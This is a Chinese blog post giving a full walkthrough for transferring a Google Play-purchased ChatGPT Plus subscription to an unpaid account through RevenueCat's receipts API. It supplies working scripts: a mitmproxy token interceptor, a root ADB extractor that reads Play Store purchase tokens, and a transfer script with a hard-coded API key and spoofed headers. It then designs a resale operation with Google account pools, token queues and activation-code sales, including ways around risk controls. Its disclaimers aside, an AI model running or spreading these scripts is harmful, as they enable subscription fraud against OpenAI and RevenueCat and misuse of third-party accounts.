言零的博客

GPT Plus 订阅转移全解析 - 从 Google Play Token 到一键开通的完整技术链路

2026 年 07 月 17 日 16:00

前言

之前写了两篇关于 GPT Plus 的漏洞分析:一篇是 iOS 收据复用,一篇是 Google Play offerToken 替换实现 0 元订阅

这篇和前两篇路线不同,不搞 0 元白嫖,也不搞收据复用,讲的是另一个思路:订阅转移。

A 账号在 Google Play 上正经花钱买了 Plus,通过技术手段把这个订阅"转"给 B 账号。B 账号什么都没付,直接变 Plus。原理比想象中简单。

免责声明:本文仅供安全研究与技术交流。未经授权的行为可能违反相关法律法规,请勿用于非法用途。


一、核心原理:为什么能"转移"?

ChatGPT Android 的订阅架构

GPT 的订阅并不由 OpenAI 自行处理。

Android 端的订阅走的是这条链路:

Google Play 支付(扣钱)
 ↓ 生成 purchase token
ChatGPT App 拿到 token
 ↓ 发送到 RevenueCat
RevenueCat 验证 token
 ↓ 通知 OpenAI
OpenAI 后端开通 Plus

中间有个关键角色:RevenueCat,一个第三方订阅管理平台,充当 Google Play 和 OpenAI 之间的中间层。

漏洞在哪?

RevenueCat 的核心 API 是 POST /v1/receipts,请求体长这样:

{
 "fetch_token": "",
 "app_user_id": "",
 "product_ids": ["oai.chatgpt.plus"]
}

注意这两个参数:

参数 含义 来源
fetch_token 购买凭证,证明"有人付了钱" Google Play 支付后返回
app_user_id 账户 ID,决定"给谁开通" OpenAI 的 account_id

这两个参数是完全独立的。

Google Play 只管收钱并出具凭证,不关心这个凭证最终给谁用。RevenueCat 只管验证凭证并绑定到指定用户,不检查 app_user_id 是否就是付钱的那个人。

打个比方:你在肯德基买了个汉堡,小票给了你朋友,你朋友拿小票去柜台,柜员一扫码——嗯,小票是真的,给。至于小票是不是你朋友买的?柜员根本不看。

所以:用 A 的 token + B 的 account_id = 给 B 开 Plus。这就是订阅转移的全部原理。


二、关键标识符一览

先理清几个关键 ID:

标识符 说明 长啥样 怎么拿
fetch_token Google Play 购买凭证 iekllednimgnlmo...(很长一串) 支付后拦截/ADB 提取
app_user_id OpenAI 账户 ID f211fe99-83d9-4c48-b016-ee08984a592a 调 accounts/check API
RevenueCat API Key RC 公钥(固定值) goog_DPguJtknNxbQBStStwhWGRsghUw 抓包可得,下面直接给出
product_id 订阅产品标识(固定值) oai.chatgpt.plus 固定的

三、获取 purchase token(两种姿势)

Token 是核心。拿到 token,后面的流程就很直接了。下面提供两种获取方式。

方式一:MITM 代理拦截(推荐,无需 Root)

原理是在 Android 设备和 RevenueCat 服务器之间架一层代理,支付完成后 ChatGPT App 会把 token 发给 RevenueCat,在中间截下来。

需要准备:

步骤:

Step 1:设备连接代理,安装并信任 MITM 证书。

Step 2:在代理工具中设置拦截规则:

URL 匹配: api.revenuecat.com/v1/receipts
请求方法: POST
动作: 拦截请求(Block)

Step 3:打开 ChatGPT App,用一个临时账号登录(不是目标账号)。

Step 4:进入订阅页面 - 选择 Plus - 完成 Google Play 支付。

Step 5:支付完成后,代理工具会拦截到 POST /v1/receipts 请求。从请求体中提取 fetch_token 字段,保存。

Step 6:阻断该请求,不让它发到 RevenueCat。

为什么要阻断?因为如果让请求正常到达 RevenueCat,token 就会被"消费"掉,绑定到临时账号上,就没法转移了。

时间窗口:token 拦截后有 72 小时有效期。超时未被 Acknowledge,Google Play 会自动退款。

如果你用 mitmproxy,这里有个现成的拦截脚本:

# mitm_intercept.py — 自动拦截并保存 token
import json, time
from mitmproxy import http

TOKEN_FILE = "tokens.jsonl"

class RevenueCatInterceptor:
 def request(self, flow: http.HTTPFlow):
 if (flow.request.pretty_url.endswith("/v1/receipts")
 and flow.request.method == "POST"):
 try:
 body = json.loads(flow.request.get_text())
 fetch_token = body.get("fetch_token", "")
 if fetch_token:
 record = {
 "fetch_token": fetch_token,
 "original_user_id": body.get("app_user_id", ""),
 "captured_at": time.strftime("%Y-%m-%dT%H:%M:%SZ"),
 "used": False
 }
 with open(TOKEN_FILE, "a") as f:
 f.write(json.dumps(record) + "\n")
 print(f"[+] Token captured: {fetch_token[:40]}...")

 # 返回伪造响应,阻断真实请求
 flow.response = http.Response.make(
 200,
 json.dumps({"subscriber": {"entitlements": {}}}),
 {"Content-Type": "application/json"}
 )
 except Exception as e:
 print(f"[-] Parse error: {e}")

addons = [RevenueCatInterceptor()]
# 启动: mitmproxy -s mitm_intercept.py -p 8888

跑起来之后,每次支付完成,token 就自动保存到 tokens.jsonl,一条一行。

方式二:ADB 直读 Google Play 数据库(需要 Root)

Google Play 的购买记录存在本地 SQLite 数据库 library.db 里。Root 设备可以直接把数据库拉出来,用 SQL 查 token。

好处是不需要实时拦截,支付完成后随时都能提取。坏处是需要 Root。

完整提取脚本:

"""
read_purchase_token.py
通过 ADB 从 Google Play library.db 读取 ChatGPT 购买 Token
"""
import os, json, time, sqlite3, tempfile, subprocess

OUTPUT_FILE = "purchases.txt"
DB_SRC = "/data/data/com.android.vending/databases/library.db"
DB_SDCARD = "/sdcard/.tmp_read_token.db"
DEVICE_SERIAL = "" # 留空自动选第一台设备

def adb(*args, timeout=15):
 cmd = ["adb"]
 if DEVICE_SERIAL:
 cmd += ["-s", DEVICE_SERIAL]
 cmd += list(args)
 try:
 r = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
 return r.returncode, (r.stdout + r.stderr).strip()
 except FileNotFoundError:
 return -1, "adb not found"

def read_token():
 tmp_path = None
 try:
 # Step 1: 用 root 权限把数据库复制到 sdcard
 code, out = adb("shell",
 f"su -c 'cp {DB_SRC} {DB_SDCARD} && chmod 644 {DB_SDCARD} && echo DONE'")
 if code != 0 or "DONE" not in out:
 print("复制失败,请确认设备已 Root")
 return

 # Step 2: pull 到本地
 _, tmp_path = tempfile.mkstemp(suffix=".db")
 adb("pull", DB_SDCARD, tmp_path)

 # Step 3: SQLite 查询
 conn = sqlite3.connect(tmp_path)
 cur = conn.cursor()

 # 自动识别表结构
 cur.execute("PRAGMA table_info(ownership)")
 cols = [r[1] for r in cur.fetchall()]

 # 找 JSON 数据列
 json_candidates = ["inapp_purchase_data", "purchase_data", "value", "data"]
 json_col = next((c for c in json_candidates if c in cols), None)
 doc_col = "doc_id" if "doc_id" in cols else cols[3]

 # 查 ChatGPT 相关购买记录
 sql = f"""
 SELECT account, {doc_col}, {json_col}
 FROM ownership
 WHERE ({doc_col} LIKE '%openai%' OR {doc_col} LIKE '%chatgpt%')
 AND {json_col} IS NOT NULL
 ORDER BY rowid DESC
 """
 rows = cur.execute(sql).fetchall()
 conn.close()

 # Step 4: 解析并保存 token
 saved = set()
 for row in rows:
 email = str(row[0]) if row[0] else "unknown"
 raw_json = str(row[2]) if row[2] else ""
 if "purchaseToken" not in raw_json:
 continue
 data = json.loads(raw_json)
 token = data.get("purchaseToken", "")
 order = data.get("orderId", "")
 if not token or token in saved:
 continue
 saved.add(token)

 entry = f"{time.strftime('%Y-%m-%d %H:%M:%S')} | {email} | {order} | {token}\n"
 with open(OUTPUT_FILE, "a") as f:
 f.write(entry)
 print(f"邮箱: {email}")
 print(f"Order: {order}")
 print(f"Token: {token[:60]}...")
 print(f"已保存 -> {OUTPUT_FILE}")

 print(f"共保存 {len(saved)} 条")
 finally:
 if tmp_path:
 os.unlink(tmp_path)
 adb("shell", f"rm -f {DB_SDCARD}")

if __name__ == "__main__":
 read_token()

流程很直白:先用 su(Root 权限)把 /data/data/com.android.vending/ 下的数据库复制到 sdcard(普通权限读不了),然后 adb pull 拉到电脑上。ownership 表存了所有购买记录,用 LIKE '%chatgpt%' 过滤出目标行,再从 JSON 里取 purchaseTokenorderId

数据库的 ownership 表结构大概长这样:

列名 类型 说明
account TEXT Google 账号邮箱
doc_id TEXT 应用包名+产品ID
inapp_purchase_data TEXT JSON 格式的购买数据

JSON 里面关键字段:

{
 "orderId": "GPA.3305-3747-1234-56789",
 "packageName": "com.openai.chatgpt",
 "productId": "oai.chatgpt.plus",
 "purchaseTime": 1720000000000,
 "purchaseState": 0,
 "purchaseToken": "iekllednimgnlmo...(很长一串)",
 "quantity": 1,
 "acknowledged": false,
 "autoRenewing": true
}

purchaseToken 就是我们要的东西。拿到它,就能转移订阅。


四、获取目标账号的 account_id

Token 到手了,接下来要知道转给谁,即目标 GPT 账号的 account_id

API 调用:

GET https://android.chat.openai.com/backend-api/accounts/check/v4-2023-04-27
Authorization: Bearer <目标账号的 JWT Token>

响应里有个 account_id 字段,UUID 格式:

{
 "account_id": "f211fe99-83d9-4c48-b016-ee08984a592a",
 "email": "target@example.com",
 ...
}

怎么拿 JWT Token?

最简单的方式:浏览器登录 ChatGPT,访问 https://chatgpt.com/api/auth/session,响应里有 accessToken

或者直接让用户给你 Session JSON,你从里面解析 account.id


五、执行转移

Token 有了,account_id 有了,最后一步:调 RevenueCat API,把 token 绑到目标账号上。

完整转移脚本

import requests
import json

url = "https://api.revenuecat.com/v1/receipts"

headers = {
 "User-Agent": "Dalvik/2.1.0 (Linux; U; Android 16; Pixel 9 Build/BP4A.260205.001)",
 "Content-Type": "application/json",
 "X-Platform": "android",
 "X-Platform-Flavor": "native",
 "X-Platform-Version": "36",
 "X-Version": "9.22.1",
 "X-Client-Bundle-ID": "com.openai.chatgpt",
 "X-Observer-Mode-Enabled": "false",
 "X-Custom-Entitlements-Computation": "true",
 "X-Storefront": "US",
 "Authorization": "Bearer goog_DPguJtknNxbQBStStwhWGRsghUw",
 "X-RevenueCat-ETag": ""
}

data = {
 "fetch_token": "<你拿到的 purchase token>",
 "product_ids": ["oai.chatgpt.plus"],
 "platform_product_ids": [{"product_id": "oai.chatgpt.plus"}],
 "app_user_id": "<目标账号的 account_id>",
 "is_restore": True,
 "observer_mode": False,
 "purchase_completed_by": "revenuecat",
 "initiation_source": "unsynced_active_purchases",
 "sdk_originated": False,
 "payload_version": 1
}

response = requests.post(url, headers=headers, data=json.dumps(data, separators=(',', ':')))

if response.status_code == 200:
 result = response.json()
 subscriber = result.get("subscriber", {})
 entitlements = subscriber.get("entitlements", {})
 subscriptions = subscriber.get("subscriptions", {})

 if "chatgpt_plus" in entitlements:
 ent = entitlements["chatgpt_plus"]
 print("=" * 50)
 print("充值成功!")
 print("=" * 50)
 print(f" 账号 ID : {subscriber.get('original_app_user_id')}")
 print(f" 到期时间 : {ent.get('expires_date')}")
 print(f" 产品标识 : {ent.get('product_identifier')}")

 for pid, sub in subscriptions.items():
 price = sub.get("price", {})
 print(f" 价格 : {price.get('amount', '?')} {price.get('currency', '')}")
 print(f" 订阅类型 : {sub.get('period_type')}")
 print(f" 是否沙盒 : {'是' if sub.get('is_sandbox') else '否'}")
 else:
 print("未找到 chatgpt_plus 权益,可能失败了")
 print(json.dumps(result, indent=2, ensure_ascii=False))
else:
 print(f"请求失败: {response.status_code}")
 print(response.text)

逐行拆解

Headers 部分:

"User-Agent": "Dalvik/2.1.0 (Linux; U; Android 16; Pixel 9 Build/...)"

伪装成 Android 设备的 ChatGPT App。RevenueCat 会检查 User-Agent,用浏览器的 UA 会被拒。

"Authorization": "Bearer goog_DPguJtknNxbQBStStwhWGRsghUw"

这不是用户的 token,而是 RevenueCat 的公共 API Key。每个使用 RevenueCat 的 App 都有一个,固定不变。ChatGPT Android 的公钥就是这个。

Body 部分:

"fetch_token": "" # 第三步拿到的购买凭证
"app_user_id": "" # 第四步拿到的目标账号 ID
"is_restore": True # 告诉 RC 这是"恢复购买",不是新购买
"initiation_source": "unsynced_active_purchases" # 来源标记

is_restore: True 是个关键细节,它告诉 RevenueCat 这不是新购买,而是恢复已有购买。RC 不会创建新的订阅记录,而是把已有的 token 绑定到 app_user_id 指定的账号上。

成功响应长啥样?

{
 "subscriber": {
 "entitlements": {
 "chatgpt_plus": {
 "expires_date": "2026-08-17T07:13:32Z",
 "product_identifier": "oai.chatgpt.plus",
 "purchase_date": "2026-07-17T07:13:32Z"
 }
 },
 "subscriptions": {
 "oai.chatgpt.plus": {
 "period_type": "trial",
 "price": { "amount": 0.0, "currency": "JPY" },
 "store": "play_store",
 "expires_date": "2026-08-17T07:13:32Z"
 }
 },
 "management_url": "https://play.google.com/store/account/subscriptions?..."
 }
}

看到 entitlements 里有 chatgpt_plus,就说明转移成功了。expires_date 是到期时间。


六、完整流程图

┌─────────────────────────────────────────────────────┐
│ Phase 1: Token 获取 │
│ │
│ 方式A: MITM 拦截 │
│ Android + ChatGPT + Reqable/mitmproxy │
│ 完成 Google Play 支付 │
│ 拦截 POST /v1/receipts → 提取 fetch_token │
│ 阻断请求 → 保存 token (72h 有效) │
│ │
│ 方式B: ADB 直读 │
│ Root 设备 + ADB │
│ 读取 library.db → ownership 表 │
│ 解析 JSON → 提取 purchaseToken │
└───────────────────────┬─────────────────────────────┘
 │
 ▼
┌─────────────────────────────────────────────────────┐
│ Phase 2: Token 使用 │
│ │
│ 获取目标账号 account_id │
│ GET /backend-api/accounts/check │
│ 或从 Session JSON 解析 │
│ ↓ │
│ POST /v1/receipts │
│ fetch_token = 保存的 token │
│ app_user_id = 目标 account_id │
│ Authorization = RC 公钥 │
│ ↓ │
│ RevenueCat 验证 → 通知 OpenAI → Plus 开通 │
└─────────────────────────────────────────────────────┘

七、规模化:从手动到自动

手动操作一两个账号没问题,但做成服务就涉及到工程化了。

架构设计

一个完整的自动化系统大概长这样:

┌──────────┐ ┌────────────┐ ┌────────────┐
│ Google │ │ 拦截层 │ │ Token │
│ 账号池 │────▶│ mitmproxy │────▶│ 队列 │
│ │ │ + ADB │ │ (FIFO) │
└──────────┘ └────────────┘ └─────┬──────┘
 │
 ▼
┌──────────┐ ┌────────────┐ ┌────────────┐
│ 目标 │ │ 充值 API │ │ CDK │
│ 账号 │◀────│ 自动提交 │◀────│ 卡密系统 │
│ │ │ RC 调用 │ │ │
└──────────┘ └────────────┘ └────────────┘

核心组件:

组件 职责 技术栈
Google 账号池 存储可用的 Google 账号 数据库
ADB 自动化 自动完成 Play 支付流程 Python + ADB
Token 队列 缓存未使用的 purchase token 数据库/消息队列
CDK 卡密系统 发放激活码给终端用户 Web 应用
充值 API 接收用户 Session,调用 RC 完成开通 后端服务

数据库设计

核心就三张表:

google_credential – 记录每次 Google Play 购买:

字段 说明
google_email Google 账号
order_id 订单号
purchase_token 购买凭证
product_id 产品标识
acknowledged 是否已确认
status 状态(未使用/已使用/已退款)
card_key_id 关联的 CDK

card_key – CDK 卡密:

字段 说明
card_key 16位激活码
product_id 对应产品
credential_id 关联的购买凭证
status 状态(待使用/已使用/已禁用)

redeem_record – 充值记录:

字段 说明
card_key 使用的激活码
external_account_id 目标 GPT 账号 ID
status 结果(成功/失败)
expires_date 订阅到期时间

用户端流程

做成产品后,终端用户看到的是这样的流程:

用户拿到 CDK 激活码
 ↓
打开充值页面,输入激活码
 ↓
系统验证激活码有效性
 ↓
用户粘贴自己的 ChatGPT Session JSON
 ↓
系统解析 Session,提取 account_id
 ↓
系统从 Token 队列取一个 token
 ↓
调用 RevenueCat API 完成转移
 ↓
返回充值结果(成功/失败 + 到期时间)

用户全程不需要知道底层发生了什么。他只需要:

  1. 输入激活码
  2. 粘贴 Session
  3. 等几秒钟

八、风控与注意事项

时间约束

约束 时限 后果
Token 未 Acknowledge 72 小时 Google Play 自动退款
RC 提交后自动 Acknowledge 立即 Token 被消费,无法再用

token 拦截后必须在 3 天内使用。提交给 RevenueCat 后就立即被 Acknowledge,相当于"消费"掉了。

一 token 一账号

purchase token 一旦提交给 RevenueCat 并被 Acknowledge,就标记为"已消费",不能重复使用。一次支付 = 一个 token = 开通一个账号。

和之前 iOS 收据复用漏洞不同,iOS 那边同一张收据能反复用,Android 这个不行。

X-Post-Params-Hash

抓包时你可能注意到请求头里有个 X-Post-Params-Hash,格式:

app_user_id,fetch_token:sha256:

这个是 app_user_idfetch_token 拼接后的 SHA256。换了 account_id 后需要重新算。

但经过实测,服务端不校验这个值。随便填或者留空都不影响结果。RevenueCat 可能是为了调试保留的字段,并没有做服务端校验。

同样,X-Nonce 这个字段也不校验。

风控分析

风控点 风险 说明
RevenueCat 服务端 只验 token 真假,不检查 app_user_id 匹配
Google Play 退款检测 频繁退款/争议可能被 Google 封号
OpenAI 行为分析 OpenAI 后端只看 RC 返回的订阅状态
Google 账号风控 同一账号频繁订阅/退订会被标记

Google 账号消耗

如果走的是免费试用路径(period_type: "trial", price: 0.0):

如果走的是付费订阅路径:


九、与 iOS 收据漏洞的对比

这个和 iOS 收据复用容易混淆,做个对比:

维度 iOS 收据复用 Android Token 转移
支付平台 App Store Google Play
中间层 直接对接 OpenAI 经过 RevenueCat
核心资产 iOS receipt(Base64) purchase token
能否复用 能,一张收据开无数账号 不能,一个 token 只能用一次
成本模型 一次付费 - 无限开通 一次付费 - 一次开通
获取难度 需要 iOS 设备 + 拦截 Android + MITM 或 Root
修复状态 部分修复 未修复

Android 这个转移漏洞的成本比 iOS 高(每开一个账号都需要一个新 token),但更稳定,因为它利用的是 RevenueCat 的设计缺陷,不是简单的验证遗漏,修起来牵涉面更广。


十、回顾

整条攻击链路如下:

Google Play 支付 → 拦截 purchase token → 阻断 RevenueCat 回调
 ↓
目标账号 account_id ← Session 解析 ← 用户提交
 ↓
POST /v1/receipts (token + account_id) → RevenueCat 验证
 ↓
 OpenAI 开通 Plus

RevenueCat 在验证 purchase token 时只关心两件事:token 是不是真的、有没有被用过。至于"谁付的钱"和"给谁开通"是不是同一个人,它不管。这就是整条链路的根本缺陷。

OpenAI 大概率不是不能修,而是优先级排不上来。要么放弃 RevenueCat 自建订阅系统(工程量巨大),要么让 RC 在 API 层面增加 app_user_id 校验。对于 B 端收入占大头的公司来说,个人订阅上的这个洞不够紧急。

回顾一下整条链路的关键节点:Google Play / RevenueCat / OpenAI 三层解耦,token 通过 MITM 拦截或 ADB 直读 library.db 获取,目标 account_id 从 /accounts/check API 或 Session JSON 拿到,最后 POST /v1/receipts 把 token 和 account_id 拼在一起提交。72 小时内没用掉的 token 会被 Google Play 自动退款。

提醒:本文仅供技术研究和安全交流。Google Play 订阅体系的安全性问题是一个值得关注的研究方向,请不要将本文技术用于非法用途。


参考资料


标签: #ChatGPT #GPTPlus #GooglePlay #RevenueCat #订阅转移 #Android #支付安全 #技术科普